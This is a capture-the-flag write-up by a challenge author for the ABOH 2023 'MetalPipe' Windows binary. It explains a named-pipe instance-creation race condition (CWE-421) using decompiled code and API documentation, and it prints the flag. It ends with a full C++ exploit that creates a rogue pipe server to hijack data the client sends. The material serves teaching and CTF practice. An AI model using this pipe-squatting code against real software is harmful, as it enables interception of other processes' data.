ABOH 2023: MetalPipe

This is not a typical ReverseMe binary. You will need to write a malicious application to weaponize the bug.

Disclaimer

This writeup is written from the author's perspective to showcase the challenge design, and may or may not reflect the typical approach or methodology involved to solve the challenge.

Learning Lessons

Named Pipes are traditionally used for Inter-Process Communication (IPC) and store data on a First-In-First-Out (FIFO) basis. The main idea is that, named pipes are initialized as a shared memory space by the Windows Operating System, which allows any process to access it without any form of authentication, as long as the attacker knows the pipe name. The nature of this makes it vulnerable to Race Condition vulnerabilities.

This challenge is inspired by the CWE-421: Race Condition During Access to Alternate Channel flaw.

Challenge Overview

Running the executable shows that it is establishing some kind of connection at a constant interval.

C:\Users\JesusCries\Desktop>MetalPipe.exe 
Connected
Connected
Connected

NOTE: In named pipe nomenclature, the owner of a named pipe is known as the Server; whereas the entity accessing it is known as the Client. Additionally, a named pipe is treated as a file object after it is created with CreateNamedPipeW; whereas CreateFileW here simply means the Client is accessing the named pipe.

Looking at the decompiled code (symbols renamed for readability), we see signs of client-side code in the main function. On the other hand, server-side code is invoked in a separate thread.

void main(void)

{  
  for (local_24 = 0x2d; -1 < (int)local_24; local_24 = local_24 - 1) {
    ProcessThread(local_20,server_thread);
    Sleep(300);
    iVar1 = FUN_00401520();
    if (iVar1 == 0) {
      iVar1 = FUN_00401580();
      if (iVar1 == 0) {
        hFile = CreateFileW(L"\\\\.\\pipe\\battle-of-hackers",0x40000000,0,
                            (LPSECURITY_ATTRIBUTES)0x0,3,0,(HANDLE)0x0);
        lpOverlapped = (LPOVERLAPPED)0x0;
        lpNumberOfBytesWritten = &local_18;
        nNumberOfBytesToWrite = 1;
        lpBuffer = std::basic_string<>::operator[]((basic_string<> *)&DAT_00407408,local_24);
        WriteFile(hFile,lpBuffer,nNumberOfBytesToWrite,lpNumberOfBytesWritten,lpOverlapped);
        CloseHandle(hFile);
      }
    }
    PlaySoundW((LPCWSTR)0x65,(HMODULE)0x0,0x40004);
  }
  return;
}

Within the server thread, we see that a named pipe with the name \\.\pipe\battle-of-hackers is created and awaits for incoming client connection with the ConnectNamedPipe function.

void server_thread(void)

{
  HANDLE hNamedPipe;
  BOOL BVar1;  
    
  memset(local_808,0,0x800);
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\battle-of-hackers",1,5,0xff,0x800,0x800,20000,
                                (LPSECURITY_ATTRIBUTES)0x0);
  BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
  FUN_004027e0(L"Connected\n",(char)BVar1);
  Sleep(300);
  ReadFile(hNamedPipe,local_808,0x200,(LPDWORD)0x0,(LPOVERLAPPED)0x0);
  CloseHandle(hNamedPipe);
  return;
}

Attack Surface

To understand the properties of a named pipe, we'll have to cross-reference parameters used in Named Pipe creation with MSDN.

HANDLE CreateNamedPipeA(
  [in]           LPCSTR                lpName,
  [in]           DWORD                 dwOpenMode,
  [in]           DWORD                 dwPipeMode,
  [in]           DWORD                 nMaxInstances,
  [in]           DWORD                 nOutBufferSize,
  [in]           DWORD                 nInBufferSize,
  [in]           DWORD                 nDefaultTimeOut,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

Cross-referencing the dwOpenMode parameter, we know that the named pipe is initialized in Simplex mode, which allows data to flow from the Client to the Server, but not the other way around.

Mode

Meaning

PIPE_ACCESS_DUPLEX 0x00000003

The pipe is bi-directional; both server and client processes can read from and write to the pipe. This mode gives the server the equivalent of GENERIC_READ and GENERIC_WRITE access to the pipe. The client can specify GENERIC_READ or GENERIC_WRITE, or both, when it connects to the pipe using the CreateFile function.

PIPE_ACCESS_INBOUND 0x00000001

The flow of data in the pipe goes from client to server only. This mode gives the server the equivalent of GENERIC_READ access to the pipe. The client must specify GENERIC_WRITE access when connecting to the pipe. If the client must read pipe settings by calling the GetNamedPipeInfo or GetNamedPipeHandleState functions, the client must specify GENERIC_WRITE and FILE_READ_ATTRIBUTES access when connecting to the pipe.

PIPE_ACCESS_OUTBOUND 0x00000002

The flow of data in the pipe goes from server to client only. This mode gives the server the equivalent of GENERIC_WRITE access to the pipe. The client must specify GENERIC_READ access when connecting to the pipe. If the client must change pipe settings by calling the SetNamedPipeHandleState function, the client must specify GENERIC_READ and FILE_WRITE_ATTRIBUTES access when connecting to the pipe.

Additionally, this parameter may also include one or more extra flags such as:

Mode

Meaning

FILE_FLAG_FIRST_PIPE_INSTANCE 0x00080000

If you attempt to create multiple instances of a pipe with this flag, creation of the first instance succeeds, but creation of the next instance fails with ERROR_ACCESS_DENIED.

The core of this challenge depends on the fact that the named pipe was not not initialized with the FILE_FLAG_FIRST_PIPE_INSTANCE flag, leading to an Instance Creation Race Condition. Without this flag, the Server will not throw an error if multiple instances of named pipes with the same name are created at the same time.

Exploitation

You probably see where this is going... Data flowing from Client to Server in a Race Condition scenario means that we can spawn a Rogue Server with the same pipe name and induce/coerce the Client into sending data to us instead of the legitimate Server!

To mount this attack, all we need to do is create a named pipe instance with the right name at the right time and hijack the data flow (flag is in reverse order):

Flag: ABOH{1nst4nc3_cr34710n_r4c3_c0nd1710n_CWE-421}

Exploit Code

#include <Windows.h>
#include <iostream>

using namespace std;
const int MESSAGE_SIZE = 512;
int main()
{
	for (int i = 0; i <= 46; i++) {

		LPCWSTR pwsPipeName = L"\\\\.\\pipe\\battle-of-hackers";
		HANDLE hServerPipe;
		HANDLE hFile = NULL;
		BOOL bSuccess;
		BOOL bPipeRead = TRUE;
		LPWSTR pReadBuf[MESSAGE_SIZE] = { 0 };
		LPDWORD pdwBytesRead = { 0 };

		wprintf(L"[Server] Creating named pipe: %ls\n", pwsPipeName);
		hServerPipe = CreateNamedPipe(
			pwsPipeName,
			PIPE_ACCESS_INBOUND,
			PIPE_TYPE_MESSAGE,
			PIPE_UNLIMITED_INSTANCES, // must be unlimited for attack to work
			2048,
			2048,
			20000,
			NULL
		);

		wprintf(L"[Server] Waiting for incoming connections...\n");
		bSuccess = ConnectNamedPipe(hServerPipe, NULL);
		if (bSuccess) {
			wprintf(L"[Server] Got one connection.\n");
		}
		else wprintf(L"[Server - Error] Code: %d\n", GetLastError());

		Sleep(500);

		if (bPipeRead) {
			wprintf(L"[Server] Reading from pipe...\n");
			bPipeRead = ReadFile(hServerPipe, pReadBuf, MESSAGE_SIZE, pdwBytesRead, NULL);
			if (!bPipeRead) {
				wprintf(L"[Server] Done reading, exiting for now!");
				exit(1);
			}
			else {
				wprintf(L"[Server] Received: %s\n", pReadBuf);
			}
		}
		CloseHandle(hServerPipe);
	}
	return 0;
}

Last updated